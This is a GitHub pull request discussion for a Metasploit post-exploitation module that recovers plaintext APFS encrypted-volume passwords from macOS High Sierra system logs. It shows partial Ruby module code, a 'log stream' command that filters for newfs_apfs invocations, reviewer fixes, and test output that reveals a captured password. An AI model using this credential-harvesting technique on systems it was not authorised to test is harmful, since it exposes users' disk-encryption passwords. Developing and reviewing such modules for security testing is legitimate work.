Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add OSX High Sierra APFS volume password disclosure #9784

Merged
merged 7 commits into from
Apr 18, 2018

Conversation

cbrnrd
Copy link
Contributor

@cbrnrd cbrnrd commented Mar 30, 2018

This PR adds a module that uses a vulnerability in OSX's log command to get plaintext passwords of encrypted APFS volumes. This command is taken from this article and should be tested (for accuracy mainly). If it doesn't work, I will fall back to the command used in the POC.

Verification

  • Start msfconsole
  • Get a shell on an OSX High Sierra system (between 10.13.0 to 10.13.3)
  • use post/osx/gather/apfs_encrypted_volume_passwd
  • Verify it works on all reported High Sierra versions
  • Verify that the MOUNT_PATH option works as it should
  • Write docs

def check
osx_version = cmd_exec('sw_vers -productVersion')
# Would using Gem::Version checking be faster?
return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be =~ rather than ~=

Also, this check will also match 10.13.39999 and 99910.13.0 which may or may not cause false positives in the future. I'm not greatly familiar with the Mac OSX versioning scheme.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

from my experience, OSX versions are major.minor.patch but I'll check the apple docs to see if theres any other info.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The conditional should probably look something like this:

if osx_version =~ /^10\.13\.[0-3]$/

cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty?
vprint_status "Running \"#{cmd}\" on target..."
print_good cmd_exec(cmd)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

print_good even if the cmd_exec fails ? What if the command returns no results?

def run
return if check == CheckCode::Safe
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
cmd << " | grep #{datastore['MOUNT_PATH']}" if datastore['MOUNT_PATH'].empty?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Isn't this the reverse logic? Append unless datastore['MOUNT_PATH'].empty? would make more sense.

osx_version = cmd_exec('sw_vers -productVersion')
# Would using Gem::Version checking be faster?
return CheckCode::Vulnerable if osx_version ~= /10\.13\.[0-3]/
return CheckCode::Safe
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Superfluous return

Also make the output more reliable
@cbrnrd
Copy link
Contributor Author

cbrnrd commented Mar 31, 2018

Docs should be up by tonight. I'm not quite sure why it's failing the sanity test (or what that test is). It just needs to be tested.

@busterb
Copy link
Member

busterb commented Apr 1, 2018

Sanity test will fail this weekend because we're in the process of moving things between data centers. Sorry about that.

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 1, 2018

Ah okay, all good 👍

@jmartin-tech
Copy link
Contributor

Jenkins test this please.

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 3, 2018

Docs are finished. All that's left is testing. I will need some help with this as I don't own a High Sierra machine. Any help would be appreciated :)


],
'Platform' => 'osx',
'Arch' => ARCH_X32, ARCH_X64
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ARCH_ALL

# BuildVersion: 7A100
osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'')
# Would using Gem::Version checking be more reliable?
return CheckCode::Vulnerable if osx_version =~ /^10\.13\.[0-3]$/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Assuming 10.13.0 is vulnerable, we should do:
if osx_version =~ /^10\.13[\.[0-3]]?$/
to match 10.13

$ sw_vers
ProductName:    Mac OS X
ProductVersion: 10.13
BuildVersion:   17A365

end

def run
return if check == CheckCode::Safe
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Exploit::CheckCode::Safe?
Otherwise:

[-] Post failed: NameError uninitialized constant Msf::Modules::Mod706f73742f6f73782f6761746865722f617066735f656e637279707465645f766f6c756d655f706173737764::MetasploitModule::CheckCode


def run
return if check == CheckCode::Safe
cmd = "log stream --info --predicate 'eventMessage contains \"newfs_\"'"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think log show rather than log stream, so that the command returns.
If not the command never returns and the session dies.

# ProductName: macOS
# ProductVersion: 10.12
# BuildVersion: 7A100
osx_version = cmd_exec('sw_vers | grep "ProductVersion" | awk \'{ print $2 }\'')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

just do osx_version = cmd_exec('sw_vers -productVersion')

Also fix a bug in check()
@timwr
Copy link
Contributor

timwr commented Apr 4, 2018

Hmm I'm not seeing an option to format in APFS on 10.13.0

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 4, 2018

Should I revert it back to the previous command (grep the full output)?

@timwr
Copy link
Contributor

timwr commented Apr 4, 2018

No sorry I'm struggling to reproduce the bug. APFS is not a formatting option.

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 4, 2018

are using the Application or the command line tool?

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 4, 2018

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 4, 2018

And the command you can use to encrypt the drive is newfs_apfs.
The command looks something like this:

newfs_apfs -A -i -E -S password -v VOLUMENAME disknum .

@bcoles bcoles added docs and removed needs-docs labels Apr 6, 2018
@timwr
Copy link
Contributor

timwr commented Apr 7, 2018

msf5 post(osx/gather/apfs_encrypted_volume_passwd) > exploit

[+] Timestamp                       Thread     Type        Activity             PID    TTL
2018-04-04 13:01:44.187221+0800 0x1c8cd    Fault       0x57b0               6241   14   diskmanagementd: diskmanagement: execve(2) pid=6241 /System/Library/Filesystems/exfat.fs/Contents/Resources/newfs_exfat -v Files /dev/rdisk1s2 .
2018-04-04 13:05:03.028476+0800 0x1ccee    Fault       0x5a20               6297   14   diskmanagementd: diskmanagement: execve(2) pid=6297 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -i -v Files /dev/rdisk1s2 .
2018-04-04 13:05:15.730561+0800 0x1cdf8    Fault       0x5a90               6312   14   diskmanagementd: diskmanagement: execve(2) pid=6312 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -A -i -v Untitled disk2 .
2018-04-04 13:05:35.168412+0800 0x1cfdb    Fault       0x5b60               6331   14   diskmanagementd: diskmanagement: execve(2) pid=6331 /System/Library/Filesystems/apfs.fs/Contents/Resources/newfs_apfs -i -E -S aa -v Untitled disk2s2 .
[*] Post module execution completed

I guess we could try match newfs_apfs -i -E -S password with a regex? or just match /newfs_apfs*$/ (from newfs_apfs until the end of the line).


],
'Platform' => 'osx',
'Arch' => ARCH_ALL
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm surprised our automated testing did not pick up the missing comma here

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 7, 2018

I kind of did that in my last commit. I matched for /newfs_apfs/ and /-S (.+)/. This should only get the line of text where the password is.

else
successful_lines = 0
results.lines.each do |l|
s = l.split(' ')[11..-1].join # Just the command executed
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was getting an error here:
[-] Post failed: NoMethodError undefined method join' for nil:NilClass`
Please see cbrnrd#1

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 13, 2018

Anything new @timwr?

@timwr
Copy link
Contributor

timwr commented Apr 17, 2018

Apologies for the delay, it works so I think we can just land this as-is unless anyone has any further comments.
I can add the output of a successful run into the docs.

@cbrnrd
Copy link
Contributor Author

cbrnrd commented Apr 17, 2018

Okay great, thanks!

@timwr timwr merged commit f54df6a into rapid7:master Apr 18, 2018
@timwr
Copy link
Contributor

timwr commented Apr 18, 2018

Minor tweaks: 72cd97d

@timwr
Copy link
Contributor

timwr commented Apr 18, 2018

Landed, thanks @cbrnrd !

@timwr
Copy link
Contributor

timwr commented Apr 18, 2018

Release Notes

The post/osx/gather/apfs_encrypted_volume_passwd module has been added to the framework. It recovers the password of an APFS encrypted volume from the logs of the Disk Utility app. Volumes encrypted on macOS High Sierra versions 10.13.0-10.13.2 are vulnerable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants